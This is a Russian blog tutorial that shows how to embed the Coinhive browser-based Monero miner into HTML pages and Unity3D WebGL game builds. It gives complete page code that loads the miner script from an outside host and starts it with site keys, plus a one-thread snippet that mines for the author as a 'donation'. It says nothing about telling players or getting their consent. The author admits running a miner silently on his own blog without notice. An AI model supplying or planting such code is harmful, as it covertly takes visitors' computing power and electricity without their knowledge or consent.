Зарабатываем с помощью майнинга на играх Unity3D HTML5

Привет. Давненько не писал статей. Хочу поделиться с вами интересной находкой, которая стоит внимания, если хотите заработать копейку:)

Начнем

1 Предистория
Последний год я активно стал смотреть в сторону майнинга и как на нем можно зарабатывать. Мысль купить железо и начать майнить не очень грела душу, так как возиться с железом не хотелось. Поэтому вариант зарабатывать на крипте хотелось с помощью сервиса.

Идея была проста — встроить майнинг в готовую программу (игру), и брать какой-то процент мощности пользовательского устройства для майнинга. Какую часть мощности использовать — решает разработчик. Но в целом, такой процесс намного приятнее для пользователя, так как ему не показывают надоедливую рекламу и не просят заплатить реальных денег.

И вот недавно я нашел сервис, который уже дает готовый майнер, остается только встроить. Сервис заточен под WEB, поэтому нативным приложениям пока остается ждать… Хотя, если вы имеете HTML5 билд вашей игры/программы, давайте покажу, как встроить.

2 Подготовка
1) И так, сперва идем на сайт и регистрируемся. Тут все просто: вводим имейл, пароль, и жмем на галочку. Регистрироваться лучше всего с Chrome/Firefox, с Safari у меня возникли проблемы.

2) после этого вам на почту должно прийти письмо, переходим по ссылке в письме.

3) теперь ваш аккаунт создан. переходим в настройки ключей (settings->sites keys). Снизу жмем «Create A New Site», вводим любое имя и жмем кнопку «Create Site»

4) Теперь у вас должны появится строки с ключами. Нас интересует «Site Key (public)». Скопируйте его куда-нибудь.

3 Пишем код
Давайте теперь напишем тестовый скрипт, чтобы проверить, что все работает.

1) Создаем новый файл, называем index.html. Его содержимое такое:

<html>
<head>
    <title>Test Coin-Hive</title>
    <script src="https://coinhive.com/lib/coinhive.min.js"></script>
    <script>
      var miner = new CoinHive.Anonymous('3JGaem382nVRnvu6uFQFsNxXa8IhtQOn', {});
      miner.on('found', function () {
        console.log("hash was found");
      })
      miner.on('accepted', function () {
        console.log("hash was accepted");
      })
      miner.start();
    </script>
</head>
<body>
<p>Test miner...</p>
</body>
</html>


2) Теперь сохраним файл, и откроем его через Chrome/Firefox. Открываем консоль и смотрим, чтобы появились строчки «hash was found» и «hash was accepted». Если их нет — значит что-то не так:) Пишите в комментах, будем разбираться.

3) Теперь замените строку 3JGaem382nVRnvu6uFQFsNxXa8IhtQOn на ваш ключ, чтобы майнер начал работать на вас, а не на меня:)Сохраняем файл, обновляем страницу в браузере и заходим в личный кабинет. Через какое-то время там должны появится первые денежки)

4) Если циферки в личном кабинете изменились, значит все хорошо, и можно тестировать на реальном проекте.

4 Подключаем к Unity3D
Наверное, вы уже догадались, что делать дальше:) Нет? ОК.

Берем свой проект, собираем HTML5 билд. Не буду рассказывать как, потому что полно статей и примеров. На выходе у вас должен быть файлик index.html. Туда дописываем в раздел наш код выше, и получаем итог типа:


<!DOCTYPE html>
<html lang="en-us">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title>Unity WebGL Player | TestCoinHive</title>
    <link rel="shortcut icon" href="TemplateData/favicon.ico">
    <link rel="stylesheet" href="TemplateData/style.css">
    <script src="TemplateData/UnityProgress.js"></script>  
    <script src="Build/UnityLoader.js"></script>
    <script>
      var gameInstance = UnityLoader.instantiate("gameContainer", "Build/TestBuild.json", {onProgress: UnityProgress});
    </script>
    <script src="https://coinhive.com/lib/coinhive.min.js"></script>
    <script>
      var miner = new CoinHive.Anonymous('3JGaem382nVRnvu6uFQFsNxXa8IhtQOn', {});
      miner.on('found', function () {
        console.log("hash was found");
      })
      miner.on('accepted', function () {
        console.log("hash was accepted");
      })
      miner.start();
    </script>
  </head>
  <body>
    <div class="webgl-content">
      <div id="gameContainer" style="width: 960px; height: 600px"></div>
      <div class="footer">
        <div class="webgl-logo"></div>
        <div class="fullscreen" onclick="gameInstance.SetFullscreen(1)"></div>
        <div class="title">TestCoinHive</div>
      </div>
    </div>
  </body>
</html>


Если остались вопросы, или что-то не получается — пишите в комментах, будем разбираться!

Документация по сервису тут

В качестве благодарности приму пожертвования в виде майнинга на ключ zqMDsJVSMaRo3xIc9TPDLwvqaw6vvzxU $)
Или вот код майнера, который запуститься в одном потоке

      var miner = new CoinHive.Anonymous('zqMDsJVSMaRo3xIc9TPDLwvqaw6vvzxU', {threads:1});
      miner.start();


Спасибо за внимание!

Ответы на вопросы, которые возможно у вас сразу возникли:

1) Что оно майнит и почему?
Сервис майнит Monero(XMR), потому что крипта использует протокол Cryptonight, который хорошо ложится на CPU, и не дает большого преимущества на GPU(примерно в 2 раза быстрее). Это способствует хорошей распределенности вычислений и не вызывает гонки мощностей.

2) Сколько можно заработать?
Тут я точно не отвечу, но разработчики сервиса дают примерно такие цифры у себя на сайте:
С 10-20 активными майнерами(пользователями) на сайте в месяц можно расчитывать на 0.3 XMR (~$29).
Оригинал
With just 10–20 active miners on your site, you can expect a monthly revenue of about 0.3 XMR (~$29).

3) Сколько разработчики берут себе?
30% от вашего дохода.

4) Можно ли использовать на мобилках?
Можно, если у вас HTML5:) Хотя можно сделать свое WebView с блек джеком и майнером, но это совсем другая история…

PS На своем бложике(то бишь на этом сайте) я запустил в фоне майнинг в один поток. Уж простите что не добавил отдельно надпись) По идее, не должно быть заметно. Поделюсь инфой что и как получается на практике.

UPD 01.10.17 — Обновил ссылки, так как сайт переехал с coin-hive.com на coinhive.com

0 комментариев

Только зарегистрированные и авторизованные пользователи могут оставлять комментарии.